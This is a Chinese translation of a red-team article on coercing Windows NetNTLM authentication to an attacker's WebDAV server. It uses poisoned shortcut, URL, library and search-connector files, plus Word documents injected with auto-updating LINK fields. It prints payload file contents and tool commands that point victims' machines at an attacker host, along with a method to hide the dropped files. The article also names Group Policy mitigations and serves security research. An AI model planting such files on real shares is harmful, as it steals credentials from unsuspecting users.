导语:在红队攻击中,我们一直在寻找用于横向移动和特权提升的创新方法。在我们所处的许多环境中,许多红队常用的经典Active Directory攻击并不能很好地解决,因为我们经常需要与防御者进行斗争。
在红队攻击中,我们一直在寻找用于横向移动和特权提升的创新方法。在我们所处的许多环境中,许多红队常用的经典Active Directory攻击并不能很好地解决,因为我们经常需要与防御者进行斗争。
传统内部渗透测试的最有效策略之一是通过LLMNR或netbios投毒来收集或中继NetNTLM哈希。这种攻击已得到很好的理解和广泛使用,其中包括@ byt3bl33d3r和@ W00Tock提供的大量资源。除了LLMNR / netbios投毒的方法外,NetNTLM哈希的收集不仅非常有效,而且在大型环境中也很难检测到。
虽然从概念上讲这是一条非常强大的攻击路径,但很少有人能有效地将其武器化用于红队攻击中,在这种情况下,你通常是通过命令和控制通道以低特权用户身份进行操作的。确实,到目前为止,我们知道的大多数尝试都需要管理权限和/或已安装驱动程序劫持445上的通信。先前工作的一些示例包括:
· https://ijustwannared.team/2017/05/27/responder-and-layer-2-pivots/
· https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
· https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/
· https://github.com/Kevin-Robertson/Inveigh
最近,NCC Group发布了Sigwhatever,它在Outlook签名中注入了指向托管图像的链接,从而强制通过HTTP进行身份验证,从而为目标内部鱼叉式网络钓鱼提供了一个有趣的载体。
这项工作在概念上类似于我们在该领域的一些研究,并且已经改变了游戏规则。为了对红队社区做出贡献,我们将在本文中分享我们的研究。
0x01 获取NetNTLM哈希
为了使远程主机对你进行身份验证(例如,遵循UNC路径的结果),必须满足某些条件。为了最大程度地减少hash散布到Internet等外部网络的可能性,你的系统必须位于“本地Intranet”域内。当你已经在目标内部网络上立足时,满足此要求的最简单方法是使用系统的NetBIOS名称。就是说,如果你在Workstation1.contoso.com上,则应在UNC路径中使用workstation1将其强制进入本地Intranet域。
有几种支持身份验证请求的服务,而且正如我们前面已经提到的那样,没有管理员权限,从SMB(445)获取哈希值并非易事,即使那样,从OpSec的角度来看,这种方法也可能不是理想的。另一种方法是通过滥用WebDAV小型重定向器通过HTTP进行。
分布式创作和版本控制(DAV)是HTTP协议的扩展,有助于通过HTTP进行文件共享。Windows使用WebClient服务来实现WebDAV,该服务的目的是通过与Windows应用程序的本机API调用进行文件交互,它被视为远程文件系统。这样做的好处是,远程HTTP服务器可以在任何端口上运行,从红队的角度来看,它提供了灵活性,并允许我们避免处理已经绑定的SMB端口。
可以使用UNC路径来启动与启用了\\workstation1@8080\mdsec.png WebDAV的HTTP服务器连接。
当对启用了WebDAV的UNC路径触发文件操作时,身份验证主机将执行以下操作:
1.发出OPTIONS方法以发现Web服务器支持的功能,
2.如果支持PROPFIND,则发出PROPFIND请求方法以发现目录结构,
3.如果Web服务器通过401 Unauthorized响应并通过WWW-Authenticate标头请求NTLM身份验证,则WebDAV小型重定向器将继续启动NTLM质询响应身份验证,最终将NetNTLM哈希提供给Web服务器。
身份验证的总体流程可能如下所示:
为了模仿该协议,我们创建了一个简单的基于.NET的线程HTTP服务器,以使用Farmer工具来处理身份验证请求。Farmer可以在任何端口上运行,并将从任何传入的连接中恢复NetNTLM哈希,将它们打印到屏幕上或将它们存储在文件系统上的加密日志文件中。尽管此版本当前不支持,但Farmer也可以扩展为执行跨协议中继,例如HTTP到SMB。
当然,要接受传入连接,你可能需要绕过可能存在的任何基于主机的防火墙。但是,仔细查看Windows防火墙访问控制列表几乎总是通过白名单进程或端口(seatbelt.exe WindowsFirewall)提供机会。@NinjaParanoid还说明了使用内置白名单URI的一些其他技巧,例如/Temporary_Listen_Addresses/,在绕过你遇到的防火墙限制方面可能会卓有成效。
Farmer可以通过C2通道执行,仅需要传入的WebDav连接即可恢复哈希值:
现在,我们已经概述了如何收集哈希的原理,让我们探索一些诱使用户连接到Farmer服务器的途径。
0x02 攻击方法
为了开始收集NetNTLM哈希,我们需要强制使用以对Farmer服务器进行身份验证。我们当然可以给他们发送一个网络钓鱼,并尝试对其进行社工以单击UNC路径,但是这可能会引起怀疑。从行业角度来看,如果我们在用户不知情的情况下强制进行身份验证,那将更加有效。
强制进行身份验证的最著名技术之一是通过SCF文件。
SCF强制认证背后的方法是通过远程托管的图标进行的,当资源管理器对其进行解析时,它将导致对UNC路径所指向的位置(在我们的示例中为Farmer WebDAV服务)进行远程认证。考虑到这一点,我们提出了以下文件类型的清单,这些清单可能会用于攻击:
· Windows快捷方式(.lnk)
· 网址文件(.url)
· Windows库文件(.library-ms)
· Windows搜索连接器(.searchConnector-ms)
让我们更详细地探讨其中的每一个。
Windows 快捷方式
Windows快捷方式文件本身可以指向UNC路径,但这当然需要用户打开LNK。但是,在LNK文件格式中有一个称为“ icon location”的字符串值,它指向LNK图标文件的位置。资源管理器根据HasIconLocation标志自动读取并解析此值;如果存在,则用户只需打开包含的文件夹即可强制进行身份验证。
我们可以使用“截图”工具创建一个带有图标位置的LNK,该图标位置指向我们的Farmer WebDAV服务器。
使用LECmd解析LNK,我们可以验证LNK是否具有HasIconLocation标志,其中图标位置指向WebDAV共享:
现在,任何打开包含LNK的文件夹的用户都将可以其NetNTLM哈希发送到Farmer服务器。
URL 文件
URL文件是浏览器的快捷方式,可用于打开URL。就像LNK一样,URL文件可以包含一个图标以显示该文件。通过在路径中指定环境变量来打开包含文件夹时,可以强制资源管理器从UNC路径中检索图标,例如:
[InternetShortcut] URL=farmer WorkingDirectory=farmer IconFile=\\\\workstation@8888\\%USERNAME%.icon IconIndex=1
裁剪工具可用于创建投毒的URL文件,如下所示:
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
Windows 库文件
Windows库文件是用户内容的虚拟容器,.library-ms文件可用于指向远程或本地存储位置。@dtmsecurity以前曾研究过这些文件的使用方法,以及在CIA Vault7泄漏中也曾讨论过。
如Vault 7泄漏中所说的那样,library-ms文件的SearchConnectorDescription部分可以指向远程位置,这将在打开容器文件夹时再次强制通过资源管理器进行身份验证:
裁剪工具可用于创建投毒的库ms文件,如下所示:
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
Windows 搜索连接器
搜索连接器文件用于将用户与存储在远程位置的数据连接起来,类似于前面提到的library-ms文件。
搜索连接器文件格式还允许使用图标来自定义连接器的显示方式,可以使用iconReferenceXML标签将其托管在远程URI(例如我们的Farmer WebDAV服务器)上:
简单地打开包含该.searchConnector-ms文件的文件夹将再次迫使资源管理器进行身份验证。
武器化
为了利用这些文件类型中的每一种,我们创建了一个额外的工具(名为Crop)。Crop通过将投毒文件写入操作员控制的位置(例如网络文件共享)来工作,当用户打开该位置时,资源管理器将尝试恢复该文件类型的图标文件并触发身份验证。应该注意的是,用户不需要打开文件,他们只需要打开包含文件夹以强制进行身份验证即可。为了进一步扩大成果,我们添加了“递归”标志,该标志将在父级中任何可写的子文件夹中工作,并删除投毒的文件。
https://player.vimeo.com/video/515287254
在这种方法中,我们当然会创建各种新文件来强制进行身份验证,当然这可能会引起用户的怀疑。使这种情况不那么明显的一种方法可能是设置NTFS隐藏属性以从资源管理器中对其进行屏蔽,这可以在.NET中轻松完成,如下所示:
File.SetAttributes(path, FileAttributes.Hidden);
我们描述的方法依赖于创建新文件,在某些情况下,这可能是不希望的。或者,我们可能希望毒化现有的常用文件,以便在重新打开它们时可以强制进行身份验证。
企业最常用的文件类型之一是Office文档,并且经常看到这些文件散布在文件共享中。为了投毒Office文档,我们创建了一个名为Fertiliser的附加工具。通过获取现有的Word docx并通过注入指向我们的远程WebDAV共享的新链接字段来投毒它。通过在域代码中设置“ \ a”指令,我们可以告诉Word在打开文档时自动更新链接域:
当用户打开文档时,将出现类似以下警告的提示:
LINK Excel.Sheet.8 \\\\workstation1@8888\\mdsec.png \\a
但是,无论用户的选择是还是否,NetNTLM哈希仍然会泄漏。
让我们看一下实际的攻击效果:
https://player.vimeo.com/video/515287398
当然,可以将其扩展到其他Office文档和文件类型,以扩展操作员可用的选项。
0x03 分析总结
资源管理器尝试加载图标文件时,我们已经记录的大多数文件类型都强制进行了身份验证。默认情况下,资源管理器配置为在网络文件夹上显示缩略图和图标,但是可以使用“ DisableThumbnailsOnNetworkFolders”和“ DisableThumbnails”组策略设置禁用此行为。
启用这些设置将阻止资源管理器加载图标文件,从而限制了该技术的使用范围。但是,它当然不能防止使用链接字段使Office文档投毒。
在许多潜在领域中,可以改进此工具和方法,其中一些仍在我们的研究范围内。
首先,可能还有其他文件类型,其中一些可能不会因禁用网络共享中的图标加载而受到影响;此外,其他Office文档(例如Excel和PowerPoint文件)无疑容易受到字段链接或类似的远程资源注入的影响,并且是扩展Fertiliser的良好选择。
最后,通过引入跨协议中继(例如从HTTP到SMB或LDAP),可以显着增强该技术的影响。可在MDSec ActiveBreach github上找到Farmer工具箱的源代码。
本文翻译自:https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/如若转载,请注明原文地址